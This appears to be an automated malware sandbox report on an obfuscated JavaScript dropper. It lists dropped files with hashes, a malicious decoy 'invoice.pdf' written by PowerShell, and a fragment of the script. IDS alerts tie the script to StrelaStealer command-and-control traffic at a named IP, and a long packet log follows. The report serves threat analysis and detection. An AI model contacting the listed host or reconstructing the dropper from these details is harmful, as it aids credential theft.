Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b3146a18-bba6-4bdf-b2fb-50a4e693a79f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\dbdb3fd5-cb1f-4660-853c-eacf33875d5c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16870), with CRLF line terminators
Entropy (8bit):	4.914071308567074
TrID:
File name:	3007510974140184124.js
File size:	20'365 bytes
MD5:	809e97b062545d8cf77bbd91b93c03b4
SHA1:	712147614aea51d60fb663fedeb9cd6d062a4968
SHA256:	c2205d880686dd99db42e3e30b4c5fa3c52b2dd0ad53b6da76a76c78b16c5dd4
SHA512:	6cb7f4a6172e5e1409ac9846fb2671c28273cc416afee8782825bb07a8b45c0c868ec6934989778d63709aac9569f3cadab63f46ce5527caa933e10d850fade9
SSDEEP:	384:V4tR4Kt5HNd1z8isc0eAo4woS+UGp8IFCYcUPPO8HxKJKQDlKeopm28GA2j1mmcQ:etqKt5HNdN8DcJAjwoS+UGp8IFCYcUPf
TLSH:	079235908D8E49D19CD896E0A53F45E703EC036E9F2C59E90E7109DC4AEAF24B9F15F8
File Content Preview:	function apctgnh(){giutbsjln=[1031,3079,5127,4103,2055,3072];var vtnvdez=this[fryhrxqvw+owbtrls+koyzuph+xfbidmjd+hqbguzs+lrbax+rfzdq+yuecimb](this[orexjjtnv+iegcms+sejbb+koyzuph+onsjolhdq+fryhrxqvw+yuecimb][tvzajhrs+koyzuph+hqbguzs+owbtrls+yuecimb+hqbguzs

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:43:22.193458+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49722	193.143.1.205	80	TCP
2025-01-11T06:43:22.193458+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.10	49722	193.143.1.205	80	TCP
2025-01-11T06:43:24.345625+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49737	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:43:21.371926069 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:21.376744986 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:21.376841068 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:21.379733086 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:21.384557962 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.193350077 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.193386078 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.193403006 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.193417072 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.193458080 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.193500996 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.193646908 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.193670034 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.193686008 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.193701029 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.193712950 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.193717003 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.193733931 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.193742990 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.193778992 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.198870897 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.198888063 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.198931932 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.250339031 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.250358105 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.250372887 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.250427008 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.315363884 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.315399885 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.315414906 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.315431118 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.315445900 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.315537930 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.315581083 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.315715075 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.315742016 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.315784931 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.316060066 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.316076040 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.316092014 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.316099882 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.316231012 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.316380978 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.316426992 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.316442013 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.316488981 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.316504955 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.316521883 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.316560984 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.317214012 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.317241907 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.317256927 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.317259073 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.317349911 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.317364931 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.317390919 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.317409992 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.336610079 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.336644888 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.336721897 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.336735964 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.336793900 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.336853981 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.375443935 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.375479937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.375575066 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.401971102 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.401988983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.402146101 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.440936089 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.440972090 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.440987110 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.441000938 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.441015005 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.441029072 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.441045046 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.441121101 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.441258907 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.441299915 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.441308022 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.441314936 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.441340923 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.441354036 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.441354990 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.441396952 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.442025900 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.442042112 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.442056894 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.442070961 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.442085981 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.442097902 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.442099094 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.442116022 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.442125082 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.442132950 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.442141056 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.442183018 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.442835093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.442857981 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.442873955 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.442888975 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.442894936 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.442914009 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.442929983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.442931890 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.442946911 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.442962885 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.442991972 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.443011999 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.443763018 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.443789005 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.443804026 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.443836927 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.443856001 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.443871021 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.443892956 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.443907022 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.443923950 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.443928957 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.443955898 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.444855928 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.444871902 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.444886923 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.444900036 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.444910049 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.444916964 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.444932938 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.444957018 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.444979906 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.488549948 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.488600969 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.488670111 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.500905991 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.500924110 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.500940084 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.500955105 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.501025915 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.501050949 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.527546883 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.527573109 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.527646065 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.566167116 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.566201925 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.566215992 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.566230059 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.566282034 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.566314936 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.566370010 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.566430092 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.566504955 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.566519976 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.566565990 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.566576004 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.566627979 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.566677094 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.566713095 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.566823006 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.566862106 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.566984892 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567011118 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567025900 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567086935 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567105055 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567106009 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.567142963 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.567147017 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567162037 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567203045 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.567245007 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567260981 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567303896 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.567478895 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567495108 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567511082 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567531109 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.567543983 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.567615032 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567631006 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567646027 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567660093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567676067 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567678928 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.567692041 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567703009 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.567708015 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567723036 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567738056 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.567742109 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.567775965 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.568403959 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.568464041 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.568478107 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.568492889 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.568509102 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.568521023 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.568525076 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.568535089 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.568542004 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.568559885 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.568582058 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.568614006 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.568629026 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.568644047 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.568660021 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.568671942 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.568710089 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.568721056 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.569485903 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.569510937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.569526911 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.569541931 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.569556952 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.569561958 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.569574118 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.569586039 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.569591045 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.569601059 CET	49722	80	192.168.2.10	193.143.1.205
